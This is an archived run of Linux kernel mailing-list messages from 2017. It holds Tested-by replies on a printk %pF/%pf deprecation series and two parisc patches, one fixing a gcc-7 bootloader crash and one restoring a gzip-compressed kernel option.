>  include/linux/moduleloader.h              |  4 ++++
>  init/main.c                               |  2 +-
>  kernel/extable.c                          |  2 +-
>  kernel/kallsyms.c                         |  1 +
>  kernel/module.c                           |  9 ++++++++-
>  lib/vsprintf.c                            |  5 +----
>  scripts/checkpatch.pl                     |  6 ++++--
>  23 files changed, 132 insertions(+), 35 deletions(-)

--=20

--3gqke7d3an37ypbd
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQJHBAEBCAAxFiEEEPhI2K1zm+w17KotztxEnntb8vcFAlnEoMwTHHNhbnRvc2hA
Zm9zc2l4Lm9yZwAKCRDO3ESee1vy9/yREACtsc+xLsqli2HsZB6P2keSw+mETPQH
LIZsQwpM7NFJl0CunhLUXCJMAlrTcEJzQwSe6r49U4WGCMGA42ZHowOWTPJnXd3l
+jbSpvDg8lTWlwonzZd+TvkYUI7XPKwWULN3S8kxYWXi+3FioLTV1RPWlFreChmV
5tfLASliqeO4M/7coSS/DFWqTtQ2xYuVDPSITR9VeiVZ8z4/6CMw9H4C20XaTjOs
UrxoFinqv6tGjG2cyq3es+PiipYkahVdrwuxqqaxs6ZXJ2tvdVer9EvUmf3MxWsg
RdR2y/mCSKnIHRUCwohxD6bTtqIPq8FZ4f3kzrig8LygJfJOTdS0KedAdBzdAaAI
yk6WIddOwIpCDF/edzOUo3C6YO/CbxtDO9BoXfgberT8aDfQlC2nDQ18nAoKapmk
kNu6h8zUP45HMNiuq1pz/oXbUb3INNNzip9oIdYpS0B437xm6iVIkXnj2f2yWvFK
qrvNmjjvfMOP28KH+0NIXPlnDxeZSBtEjHxJhBAhBD1JhD6prnOEKBVEVG0XhpPm
As5SNjzWc4gcB3I0kWy6vobwZDWiSEAoYTNnQ94DaUvpv+9HUNAMNBn7tGEwCWgP
l8yZJppf0kFd9eYAhMBr9zRtLN9uiS03iim34Pn9xvAzgMUP0A8cv9r5cOGEBL4n
u7B7rmeWpS0iGA==
=kfaZ
-----END PGP SIGNATURE-----

--3gqke7d3an37ypbd--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Fri, 22 Sep 2017 17:00:23 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20170922080023.GA599@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506067234 12712 195.159.176.226 (22 Sep 2017 08:00:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 22 Sep 2017 08:00:34 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Santosh Sivaraj <santosh@fossix.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Sep 22 10:00:27 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dvIsp-0003kS-5k
	for glpi-linux-ia64-2@m.gmane.org; Fri, 22 Sep 2017 10:00:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751853AbdIVIAa (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 22 Sep 2017 04:00:30 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:33881 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751704AbdIVIA2 (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 22 Sep 2017 04:00:28 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id u18so241111pgo.1;
        Fri, 22 Sep 2017 01:00:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=7r1ZwTMkaenxdXSM4fpbN0qhx2Vi3Hb7DDCX1xZnEn4=;
        b=lhALyzkHcTN9mcPxnVovFrd5fCkkxScag/7eyXVpGFOCDAe66e+dgSXcJsSYW9B0mr
         /BXHpbnuKuozpcYw5safgPyx8xUDGB+6nwqCrlXz4dzh3SzL7A89gKY7wULkKF/F2XgM
         fLC1hFWJ51Z2WUoFh160iuhb7zstADC7TqH4gimf/OGJjoiVsT/nIolJQIMpDMZOBViw
         BdgXa2xjZhODgI6hQWHZ3wRzOo9FXvvQ2jX5j+Fld3GqxlmiDdBmVJAXI30VNcQRlefX
         uqlbG1+MYmgewOPG0GcoqjsWaO+mJYsumi3NBjUVJzYNpP0Vxs336YOBZ1YSVPEzgzAP
         dCZQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=7r1ZwTMkaenxdXSM4fpbN0qhx2Vi3Hb7DDCX1xZnEn4=;
        b=bNfkBOfIIw4M6oc4kMaRGCY/2sQyc4wO8twVpJx8DHetTbakWG4d1Cec/pHDGMcKC5
         Hn82m9xKlHKniP0h25R2BrqZpdLXaswAw/RUMkH0MMq+vzwgY7CSB+TKOAdlZnRJCLOk
         dnwP/gatI7GhGqDMW8qaA8hn3xe/2YCla+MWQzGxJlaPDi/Ez7EvBpL22NUsyo4kVuXK
         GXKstrtndZJHwqQSKvFKbtGyuCYt5p13rIFegLck9F7u2+pxo13cTP7yjv+X2oKrDORa
         29sChzxqcm7fNqQtz5ph3Ju4jrKfWA1B0aJHLNOubhYFa5DyDM+NmH6FJRqnABTOhWzC
         9VHw==
X-Gm-Message-State: AHPjjUhMJ4wa7GP/OQF1PfSY6L7MpMGtd7Aksx45rmU4bGY0ZjjcY2wu
        5TuHRprKtZ+I07AzA3Vq85I=
X-Google-Smtp-Source: AOwi7QDHk3tumMqOzuoF4X8suMx2Ol8JZYgG/w3MM3dqXjl3ZGvNc2y0GfaHRxUxSQp3+x9WL5y+rg==
X-Received: by 10.84.238.137 with SMTP id v9mr8352843plk.180.1506067228389;
        Fri, 22 Sep 2017 01:00:28 -0700 (PDT)
Original-Received: from localhost ([175.223.36.238])
        by smtp.gmail.com with ESMTPSA id 5sm5977448pfr.151.2017.09.22.01.00.26
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 22 Sep 2017 01:00:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28151 gmane.linux.ports.parisc:27853 gmane.linux.ports.ppc64.devel:148232 gmane.linux.kernel:2575572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28151>

On (09/22/17 11:04), Santosh Sivaraj wrote:
[..]
> > *** A BIG NOTE ***
> >         I don't own ia64/ppc64/parisc64 hardware, so the patches are not
> >         tested. Sorry about that!
> 
> Tested patch series on ppc64 sucessfully.
> 
> You may add tested by to the series.
> 
> Tested-by: Santosh Sivaraj <santosh@fossix.org>


thanks!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: RE: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Fri, 22 Sep 2017 16:48:58 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <20170922080023.GA599@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506098985 12195 195.159.176.226 (22 Sep 2017 16:49:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 22 Sep 2017 16:49:45 +0000 (UTC)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, "Petr Mladek" <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        "Andrew Morton" <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        "Alexei Starovoitov" <ast@kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Santosh Sivaraj <santosh@fossix.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 22 18:49:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvR8x-0001UB-Ii
	for glpp-linux-parisc@m.gmane.org; Fri, 22 Sep 2017 18:49:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752317AbdIVQtn convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 22 Sep 2017 12:49:43 -0400
Original-Received: from mga03.intel.com ([134.134.136.65]:28779 "EHLO mga03.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752097AbdIVQtB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 22 Sep 2017 12:49:01 -0400
Original-Received: from orsmga004.jf.intel.com ([10.7.209.38])
  by orsmga103.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 22 Sep 2017 09:49:00 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.42,427,1500966000"; 
   d="scan'208";a="131408015"
Original-Received: from orsmsx103.amr.corp.intel.com ([10.22.225.130])
  by orsmga004.jf.intel.com with ESMTP; 22 Sep 2017 09:49:00 -0700
Original-Received: from orsmsx163.amr.corp.intel.com (10.22.240.88) by
 ORSMSX103.amr.corp.intel.com (10.22.225.130) with Microsoft SMTP Server (TLS)
 id 14.3.319.2; Fri, 22 Sep 2017 09:48:59 -0700
Original-Received: from orsmsx114.amr.corp.intel.com ([169.254.8.130]) by
 ORSMSX163.amr.corp.intel.com ([169.254.9.160]) with mapi id 14.03.0319.002;
 Fri, 22 Sep 2017 09:48:59 -0700
Thread-Topic: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's
 deprecate %pF/%pf printk specifiers
Thread-Index: AQHTMi2yY2AGJRaNSEaaNlME9Evh8KLA2csAgAAo4YCAABvrIA==
In-Reply-To: <20170922080023.GA599@jagdpanzerIV.localdomain>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-titus-metadata-40: eyJDYXRlZ29yeUxhYmVscyI6IiIsIk1ldGFkYXRhIjp7Im5zIjoiaHR0cDpcL1wvd3d3LnRpdHVzLmNvbVwvbnNcL0ludGVsMyIsImlkIjoiOTM3NGVhN2EtMjllYS00MTNkLThkZWEtMWQ1OGVlZGM5NjI2IiwicHJvcHMiOlt7Im4iOiJDVFBDbGFzc2lmaWNhdGlvbiIsInZhbHMiOlt7InZhbHVlIjoiQ1RQX0lDIn1dfV19LCJTdWJqZWN0TGFiZWxzIjpbXSwiVE1DVmVyc2lvbiI6IjE3LjIuNS4xOCIsIlRydXN0ZWRMYWJlbEhhc2giOiJtTHd4dFpOOU1QZ1J0TFg4d1NYNmw5bjhQSEw2MjNQSkpYdVVwc3A1WjJMMTdlRGlPY04zb0lvNWE5dkRtRDBVIn0=
x-ctpclassification: CTP_IC
dlp-product: dlpe-windows
dlp-version: 11.0.0.116
dlp-reaction: no-action
x-originating-ip: [10.22.254.138]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27854 gmane.linux.ports.ia64:28157 gmane.linux.ports.ppc64.devel:148272 gmane.linux.kernel:2576020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27854>

Tested patch series on ia64 successfully.

Tested-by: Tony Luck <tony.luck@intel.com>

After this goes upstream, you should submit a patch to get rid of
all uses of %pF (70 instances in 35 files) and %pf (63 in 34)

Perhaps break the patch by top-level directory (e.g. get all the %pF
and %pF in the 17 files under drivers/ in one patch).

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Unbreak bootloader due to gcc-7 optimizations
Date: Fri, 22 Sep 2017 21:57:11 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20170922195711.GA28303@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506110245 10366 195.159.176.226 (22 Sep 2017 19:57:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 22 Sep 2017 19:57:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 22 21:57:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvU4a-0003tV-Or
	for glpp-linux-parisc@m.gmane.org; Fri, 22 Sep 2017 21:57:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751850AbdIVT5Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 22 Sep 2017 15:57:24 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59969 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751795AbdIVT5X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 22 Sep 2017 15:57:23 -0400
Original-Received: from p100.box ([91.36.203.180]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M7DVi-1d8csG1lbi-00wz7l; Fri, 22
 Sep 2017 21:57:14 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:ockBl+hnn/Cvkj0lTpCGNuuSMr/gRlyUjVYDfL3DWGj36Dl4VHP
 /SKRZbtq4an1wH7D2fNxdpgXekhXym3mqhwjsyROt1+fSkVECSxkx3K8104hC2rX2hB09jk
 YFbyfQZkmVcF0vG0FFN0+X2OoADW3q54ti0L6DOJoIoXK7DuQY1aZwqckYo08mcQrIshBdp
 /wdhF1gf/yQsVj1yEXMYA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:8DP520jYHr8=:3AUlpqkzBwMqhpHTx75SaQ
 +F8VVESiAn+Tqq9gqBdTzSeMROmZ6c0UOs6cJBIOATMEwIvniSaNKJ9Ef27QnwpxFeav5PWLP
 4ym8LlX95V/SlMfrrJ+W6hwV9ns5V49FjyXGNJvLFFFe/mx8w0u8NEZTfJQxdSxeR2zWVngxL
 CqXQxp7gtCNNJlYBGp14LrOA9HHu/yQbaX7kaFMj5cvNZqX6NwmnRXegpX82V94iWASzbdduW
 Ha2m22HgKRz1CdS2GmSj5n+DEnGvx1tPlgT/qo1/2Kft/GZL3NvMKUnmu9PSiv/trhXspsqZ3
 PGDw/m9aCmM5Gd5Cc2LzcQRYcqNEiMknAal2edYBZxNuLJX+2TvGVPK3CPYXHV0vSyud8to9o
 KcNsjc3Wo37q9KKKyNtHnhaITTgjkOj2MxUk8thh8LCm2HEC0ew6vgoz2vGXFdFghIcZRU7JN
 9FDmkcOd7//yJt5i8Sjatr+7yQRp2BBxYP0aEj5cJxkL5vkgj+JRbGL9pVBhyu9pZ6fdA16IG
 s+2Hza1+11XpvZjQZPFimmQpxmf5mv1n77ScKTZoXQD77/+MXpNK+IW0bQqm+ofEn2xyHnugo
 cx+2iJutqxpUh7D1k5HsUmKhbO4ER10Y+BLURxhkNXqaoOLGseMJpHDD2c/A4ZkYLWXWDo/8u
 fkAFnPvXSTXBAkwQaz9OwVFCZb+vBBICXUmWeJqwCLGthKCYQ2Ic599XaWHqqYea+BZRrmW01
 VX9Qzp0cbwXDx95Lq2HA2LWPyog5OrdneEFHCWW4VxMF++Of0gAl0uaMfj6ccBv/KjPfpYoz 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27855>

gcc-7 optimizes the byte-wise accesses of get_unaligned_le32() into
word-wise accesses if the 32-bit integer output_len is declared as
external. This panics then the bootloader since we don't have the
unaligned access fault trap handler installed during boot time.

Avoid this optimization by declaring output_len as byte-aligned and thus
unbreak the bootloader code.

Additionally, compile the boot code optimized for size.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/boot/compressed/Makefile b/arch/parisc/boot/compressed/Makefile
index 5450a11c9d10..7d7e594bda36 100644
--- a/arch/parisc/boot/compressed/Makefile
+++ b/arch/parisc/boot/compressed/Makefile
@@ -15,7 +15,7 @@ targets += misc.o piggy.o sizes.h head.o real2.o firmware.o
 KBUILD_CFLAGS := -D__KERNEL__ -O2 -DBOOTLOADER
 KBUILD_CFLAGS += -DDISABLE_BRANCH_PROFILING
 KBUILD_CFLAGS += $(cflags-y) -fno-delete-null-pointer-checks
-KBUILD_CFLAGS += -fno-PIE -mno-space-regs -mdisable-fpregs
+KBUILD_CFLAGS += -fno-PIE -mno-space-regs -mdisable-fpregs -Os
 ifndef CONFIG_64BIT
 KBUILD_CFLAGS += -mfast-indirect-calls
 endif
diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
index 13a4bf9ac4da..a32325914429 100644
--- a/arch/parisc/boot/compressed/misc.c
+++ b/arch/parisc/boot/compressed/misc.c
@@ -24,7 +26,8 @@
 /* Symbols defined by linker scripts */
 extern char input_data[];
 extern int input_len;
-extern __le32 output_len;	/* at unaligned address, little-endian */
+/* output_len is inserted by the linker possibly at an unaligned address */
+extern __le32 output_len __aligned(1);
 extern char _text, _end;
 extern char _bss, _ebss;
 extern char _startcode_end;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Reintroduce option to gzip-compress the kernel
Date: Fri, 22 Sep 2017 22:24:02 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20170922202402.GA21262@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506111850 10295 195.159.176.226 (22 Sep 2017 20:24:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 22 Sep 2017 20:24:10 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 22 22:24:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvUUW-0000P1-8n
	for glpp-linux-parisc@m.gmane.org; Fri, 22 Sep 2017 22:24:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751871AbdIVUYM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 22 Sep 2017 16:24:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52309 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751845AbdIVUYL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 22 Sep 2017 16:24:11 -0400
Original-Received: from ls3530.fritz.box ([91.36.203.180]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MYP57-1dqh771DgP-00VB1t; Fri, 22
 Sep 2017 22:24:04 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:UiyqjhxSMffTKenRuOzpUhIxqSDnckBp2SArLH/lR3LR56DVm2z
 1xfBEHzXbFrsYzY3VxlPs71bA6sJ3NYoDNlj63pKPlGS5LHPraY8I3qRSdqk/XqTISCyHiR
 kCsINKvqNi8h9OpfAlqI6BF7nM7tsbW5hoG8fPCvxFOavcyWBA1zafYSx3DFv49f48u2RlE
 jbDYbnh3QitSKmbBL69cg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Sv1wK8nH0gw=:UHgD3Iw7GJdTXrxbWs+/dG
 l7Y6s+lFyq6PxLrEYiAygdVz1+6dlv0sIn0oTQZfBvC2VXmpC7vNO/GPwV3aSt6PR3iHhD3MF
 2OzvSHUE439f/yAueo2PXYY6JHUfWWNxEvWGpK6L7kzHiAlp5dWXmdJDWw7aDUuP81cpp5Oab
 cSW/W/LLcBISOwJq2o6OpH21fmqO6b4X6/67DInFh0tLj1WZNbUl6zsn9MDCg7kXGZiVhijkb
 YUDinzOFdfftvgYZ3Y3WDpCqRhhPfWVbefakEvzVriRPBQlFaj61w4Cop8WHQcZBPNE1CPN3y
 OoWP3ciCxzrjCZ0FFS5swp5InS+RvuuDvbD3DkqC+BIkY1BzRBsJdJCp/0EdxUx+LgoFQNrD9
 YfBczyRP7nIJAaX1mYx46yRAT4bqq5njYcgugUs3jhs9e51yVDHMoPT9E9Z5T5UgfJgS1Y8Jq
 fGFopWASyuHSQRan63PIbcra0/9M9dyE8W82CW0AUv+xF53SiBDbxDesebCRzq4WVmysGoFx9
 w2edOG1sgj3O3GDnjvBeUOVFbXLaP0F4aSQqeeUlkyeiGyODFpckQpMnEgRqRhkpZZCpPQklK
 aEMxq5pVWMYKdtESYEJcL2B27kODGevis699V8fXx0/RHJoP0iuH5CB4No+yQ7F2eOUtrc05d
 TeXzZ1KaH7D17D/b467daQbbdIKGNwy9U+EqV7FrT8Uk8ZPFdWTKogTdE0HrxVqF8xjti89bd
 N0dHbNBkw+QaevmSC46O0L8ptAU3lMZ7xZMAeSdKF69FfyT5Q9SY1drOhwHry/DpOii11pRU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27856
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27856>

By adding the feature to build the kernel as self-extracting
executeable, the possibility to simply compress the kernel with gzip was
lost.

This patch now reintroduces this possibilty again and leaves it up to
the user to decide how the kernel should be built.

The palo bootloader is able to natively load both formats.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bb8ed34024ef..cce21a159fe7 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -258,6 +258,18 @@ config PARISC_PAGE_SIZE_64KB
 
 endchoice
 
+config PARISC_SELF_EXTRACT
+	bool "Build kernel as self-extracting executable"
+	default y
+	help
+	  Say Y if you want to build the parisc kernel as a kind of
+	  self-extracting executable.
+
+	  If you say N here, the kernel will be compressed with gzip
+	  which can be loaded by the palo bootloader directly too.
+
+	  If you don't know what to do here, say Y.
+
 config SMP
 	bool "Symmetric multi-processing support"
 	---help---
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 58fae5d2449d..01946ebaff72 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -129,8 +129,13 @@ Image: vmlinux
 bzImage: vmlinux
 	$(Q)$(MAKE) $(build)=$(boot) $(boot)/$@
 
+ifdef CONFIG_PARISC_SELF_EXTRACT
 vmlinuz: bzImage
 	$(OBJCOPY) $(boot)/bzImage $@
+else
+vmlinuz: vmlinux
+	@gzip -cf -9 $< > $@
+endif
 
 install:
 	$(CONFIG_SHELL) $(src)/arch/parisc/install.sh \
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for v4.14-rc2
Date: Sat, 23 Sep 2017 10:19:14 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20170923081914.GA30001@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506154765 13310 195.159.176.226 (23 Sep 2017 08:19:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 23 Sep 2017 08:19:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 23 10:19:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
